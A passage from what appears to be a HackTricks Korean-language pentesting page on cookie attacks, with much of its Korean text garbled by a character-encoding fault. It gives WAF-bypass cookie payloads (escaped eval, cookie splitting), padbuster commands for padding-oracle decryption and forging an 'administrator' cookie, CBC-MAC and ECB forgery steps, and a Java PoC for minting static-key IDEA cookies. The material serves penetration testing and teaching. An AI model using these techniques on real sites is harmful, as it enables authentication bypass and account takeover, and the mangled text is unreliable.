document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;
WAF ์ฐํ
Cookies $version
์ด์ ์น์ ์ ํ์ธํ์ธ์.
quoted-string encoding์ ์ด์ฉํ value ๋ถ์ ์ฐํ
์ด ํ์ฑ์ cookies ๋ด๋ถ์ ์ด์ค์ผ์ดํ๋ ๊ฐ์ ์ธ์ด์ค์ผ์ดํ(unescape)ํ๋๋ก ์ง์ํ๋ฏ๋ก โ\aโ๋ โaโ๊ฐ ๋ฉ๋๋ค. ์ด๋ WAFS๋ฅผ ์ฐํํ๋ ๋ฐ ์ ์ฉํ ์ ์์ต๋๋ค:
eval('test') => forbidden"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed
cookie-name blocklists ์ฐํ
RFC2109์๋ comma๊ฐ cookie ๊ฐ๋ค ์ฌ์ด์ ๊ตฌ๋ถ์๋ก ์ฌ์ฉ๋ ์ ์๋ค๊ณ ๋ช
์๋์ด ์์ต๋๋ค. ๋ํ ๋ฑํธ(=) ์๋ค์ ๊ณต๋ฐฑ๊ณผ ํญ์ ์ถ๊ฐํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ฐ๋ผ์ $Version=1; foo=bar, abc = qux ๊ฐ์ cookie๋ "foo":"bar, admin = qux"๋ผ๋ cookie๋ฅผ ์์ฑํ์ง ์๊ณ , ๋์ foo":"bar"์ "admin":"qux"๋ผ๋ ๋ cookie๋ฅผ ์์ฑํฉ๋๋ค. 2๊ฐ์ cookie๊ฐ ์์ฑ๋๋ ๋ฐฉ์๊ณผ admin์ ๋ฑํธ ์๋ค ๊ณต๋ฐฑ์ด ์ ๊ฑฐ๋๋ ๊ฒ์ ์ฃผ๋ชฉํ์ธ์.
cookie splitting์ ์ด์ฉํ value ๋ถ์ ์ฐํ
๋ง์ง๋ง์ผ๋ก, ์๋ก ๋ค๋ฅธ backdoors๊ฐ ์๋ก ๋ค๋ฅธ cookie headers์ ์ ๋ฌ๋ ์๋ก ๋ค๋ฅธ cookies๋ฅผ ํ๋์ ๋ฌธ์์ด๋ก ๊ฒฐํฉํ ์ ์์ต๋๋ค. ์:
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
์ด๋ ๋ค์ ์์ ๊ฐ์ด WAF๋ฅผ bypassํ ์ ์์ต๋๋ค:
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
์ถ๊ฐ ์ทจ์ฝํ Cookies ์ ๊ฒ
๊ธฐ๋ณธ ๊ฒ์ฌ
- cookie๊ฐ ๋ก๊ทธ์ธํ ๋๋ง๋ค ๊ฐ์์ง ํ์ธํ์ธ์.
- ๋ก๊ทธ์์ํ ๋ค ๋์ผํ cookie๋ฅผ ์ฌ์ฉํด ๋ณด์ธ์.
- ๋์ผํ ๊ณ์ ์ ๋ํด 2๋์ ๋๋ฐ์ด์ค(๋๋ ๋ธ๋ผ์ฐ์ )์์ ๋์ผํ cookie๋ก ๋ก๊ทธ์ธํด ๋ณด์ธ์.
- cookie์ ์ด๋ค ์ ๋ณด๊ฐ ํฌํจ๋์ด ์๋์ง ํ์ธํ๊ณ ์์ ํด ๋ณด์ธ์.
- ๊ฑฐ์ ๋์ผํ username์ผ๋ก ์ฌ๋ฌ ๊ณ์ ์ ๋ง๋ค์ด ์ ์ฌ์ ์ด ์๋์ง ํ์ธํ์ธ์.
- ์กด์ฌํ๋ค๋ฉด โremember meโ ์ต์ ์ด ์ด๋ป๊ฒ ๋์ํ๋์ง ํ์ธํ์ธ์. ์ทจ์ฝํ ๊ฐ๋ฅ์ฑ์ด ์๋ค๋ฉด ํญ์ ๋ค๋ฅธ cookie ์์ด remember me์ cookie๋ง ์ฌ์ฉํ์ธ์.
- ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ ํ์๋ ์ด์ cookie๊ฐ ์๋ํ๋์ง ํ์ธํ์ธ์.
๊ณ ๊ธ cookies ๊ณต๊ฒฉ
๋ก๊ทธ์ธํ ๋ cookie๊ฐ ๋์ผํ๊ฑฐ๋ ๊ฑฐ์ ๋์ผํ๋ค๋ฉด, ํด๋น cookie๊ฐ ๊ณ์ ์ ์ด๋ค ํ๋(์๋ง๋ username)์ ์ฐ๊ด๋์ด ์์ ๊ฐ๋ฅ์ฑ์ด ํฝ๋๋ค. ๊ทธ๋ฐ ๊ฒฝ์ฐ ๋ค์์ ์๋ํ ์ ์์ต๋๋ค:
- ๋งค์ฐ ์ ์ฌํ username์ ๊ฐ์ง ๋ง์ ๊ณ์ ์ ์์ฑํด ์๊ณ ๋ฆฌ์ฆ์ด ์ด๋ป๊ฒ ๋์ํ๋์ง ์ถ์ธกํด ๋ณด์ธ์.
- bruteforce the username๋ฅผ ์๋ํ์ธ์. cookie๊ฐ ๋จ์ง username์ ๋ํ ์ธ์ฆ ์๋จ์ผ๋ก๋ง ์ ์ฅ๋๋ค๋ฉด, username์ โBminโ์ผ๋ก ๊ณ์ ์ ์์ฑํ๊ณ cookie์ ๋ชจ๋ bit๋ฅผ bruteforceํ ์ ์์ต๋๋ค โ ์๋ํ cookie๋ค ์ค ํ๋๋ โadminโ์๊ฒ ์ํ cookie์ผ ๊ฒ์ ๋๋ค.
- Padding Oracle์ ์๋ํด ๋ณด์ธ์ (cookie์ ๋ด์ฉ์ ๋ณตํธํํ ์ ์์ต๋๋ค). padbuster๋ฅผ ์ฌ์ฉํ์ธ์.
Padding Oracle - Padbuster examples
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf
# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
Padbuster๋ ์ฌ๋ฌ ๋ฒ ์๋ํ ๋ค ์ด๋ค ์กฐ๊ฑด์ด ์ค๋ฅ ์กฐ๊ฑด์ธ์ง(์ ํจํ์ง ์์ ๊ฒ)๋ฅผ ๋ฌป์ต๋๋ค.
๊ทธ๋ค์์ decrypting the cookie๋ฅผ ์์ํฉ๋๋ค(๋ช ๋ถ ๊ฑธ๋ฆด ์ ์์ต๋๋ค).
๊ณต๊ฒฉ์ด ์ฑ๊ณต์ ์ผ๋ก ์ํ๋์๋ค๋ฉด, ์ํ๋ ๋ฌธ์์ด์ encryptํด๋ณผ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, encrypt user=administrator
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
์ด ์คํ์ ๋ฌธ์์ด user=administrator ๋ฅผ ํฌํจํ ์ฟ ํค๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ํธํํ๊ณ ์ธ์ฝ๋ฉ๋ ์ํ๋ก ์ ๊ณตํฉ๋๋ค.
CBC-MAC
์ฟ ํค์ ์ด๋ค ๊ฐ์ด ๋ค์ด์๊ณ CBC๋ฅผ ์ฌ์ฉํด ์๋ช ๋์์ ์๋ ์์ต๋๋ค. ์ด ๊ฒฝ์ฐ ๊ฐ์ ๋ฌด๊ฒฐ์ฑ์ ๊ฐ์ ๊ฐ์ผ๋ก CBC๋ฅผ ์ฌ์ฉํด ์์ฑํ ์๋ช ์ด ๋ฉ๋๋ค. IV๋ก ๋ ๋ฒกํฐ(null vector)๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ๊ถ์ฅ๋๊ธฐ ๋๋ฌธ์, ์ด๋ฌํ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๋ ์ทจ์ฝํ ์ ์์ต๋๋ค.
The attack
- username administ ์ ์๋ช ์ ์ป๋๋ค = t
- username rator\x00\x00\x00 XOR t ์ ์๋ช ์ ์ป๋๋ค = tโ
- ์ฟ ํค์ ๊ฐ administrator+tโ ๋ฅผ ์ค์ ํ๋ค (tโ ๋ (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 ์ ์ ํจํ ์๋ช ์ด ๋๋ค)
ECB
์ฟ ํค๊ฐ ECB๋ก ์ํธํ๋์ด ์๋ค๋ฉด ์ทจ์ฝํ ์ ์์ต๋๋ค.
๋ก๊ทธ์ธํ ๋ ๋ฐ๋ ์ฟ ํค๋ ํญ์ ๋์ผํด์ผ ํฉ๋๋ค.
How to detect and attack:
๊ฑฐ์ ๋์ผํ ๋ฐ์ดํฐ (username, password, email ๋ฑ)๋ฅผ ๊ฐ์ง ์ฌ์ฉ์ 2๋ช ์ ์์ฑํ๊ณ ๋ฐ๊ธ๋ ์ฟ ํค์์ ํจํด์ ์ฐพ์๋ณด์ธ์
์๋ฅผ ๋ค์ด โaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaโ ๋ผ๋ ์ฌ์ฉ์ ๊ณ์ ์ ๋ง๋ค๊ณ ์ฟ ํค์ ํจํด์ด ์๋์ง ํ์ธํ์ธ์ (as ECB encrypts with the same key every block, the same encrypted bytes could appear if the username is encrypted).
๋ธ๋ก ํฌ๊ธฐ๋งํผ์ ํจํด์ด ๋ณด์ฌ์ผ ํฉ๋๋ค. So, knowing how are a bunch of โaโ encrypted you can create a username: โaโ*(size of the block)+โadminโ. Then, you could delete the encrypted pattern of a block of โaโ from the cookie. And you will have the cookie of the username โadminโ.
Static-key cookie forgery (symmetric encryption of predictable IDs)
Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.
How to test/forge
- Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
- Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
- Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
- Set the forged value directly as the cookie and browse; no credentials are needed.
Minimal Java PoC (IDEA + hex) used in the wild
```java import cryptix.provider.cipher.IDEA; import cryptix.provider.key.IDEAKeyGenerator; import cryptix.util.core.Hex; import java.security.Key; import java.security.KeyException; import java.io.UnsupportedEncodingException;public class App { private String ideaKey = โ1234567890123456โ; // example static key
public String encode(char[] plainArray) { return encode(new String(plainArray)); }
public String encode(String plain) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA encrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); encrypt.initEncrypt(key); } catch (KeyException e) { return null; } if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) { for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) { plain = plain + โ โ; // space padding } } byte[] encrypted = encrypt.update(plain.getBytes()); return Hex.toString(encrypted); // cookie expects hex }
public String decode(String chiffre) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA decrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); decrypt.initDecrypt(key); } catch (KeyException e) { return null; } byte[] decrypted = decrypt.update(Hex.fromString(chiffre)); try { return new String(decrypted, โISO_8859-1โ).trim(); } catch (UnsupportedEncodingException e) { return null; } }
public void setKey(String key) { this.ideaKey = key; } }
</details>์ปจํ
์คํธ (์: server-side session with random ID, ๋๋ anti-replay properties๋ฅผ ์ถ๊ฐ).
## ์ฐธ๊ณ ์๋ฃ
- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action โ CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)
> [!TIP]
> AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง์ํ๊ธฐ</summary>
>
> - [**๊ตฌ๋
๊ณํ**](https://github.com/sponsors/carlospolop) ํ์ธํ๊ธฐ!
> - **๐ฌ [**๋์ค์ฝ๋ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋๋ [**ํ
๋ ๊ทธ๋จ ๊ทธ๋ฃน**](https://t.me/peass)์ ์ฐธ์ฌํ๊ฑฐ๋ **ํธ์ํฐ** ๐ฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํ๋ก์ฐํ์ธ์.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.**
>
> </details>


